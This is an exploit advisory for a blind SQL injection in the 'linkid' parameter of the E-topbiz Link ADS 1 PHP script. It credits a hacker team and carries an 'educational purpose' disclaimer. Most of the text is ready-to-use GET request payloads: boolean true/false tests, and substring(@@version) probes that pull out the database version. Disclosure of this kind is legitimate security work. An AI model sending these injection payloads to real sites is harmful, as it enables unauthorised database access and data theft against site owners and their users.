E-topbiz Link ADS 1 PHP script - 'linkid' Blind SQL Injection

# E-topbiz Link ADS 1 PHP script (linkid) Blind SQL Injection Vulnerability
# url: http://e-topbiz.com/oprema/pages/linkads1.php
#
# Author: Jose Luis Gongora Fernandez 'aka' JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://hack0wn.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers!

proof of concept:
GET /out.php?linkid=50+and+1=1 (true)
GET /out.php?linkid=50+and+1=2 (false)

exploit :
GET /out.php?linkid=50+and+substring(@@version,1,1)=4
GET /out.php?linkid=50+and+substring(@@version,1,1)=5


# _h0_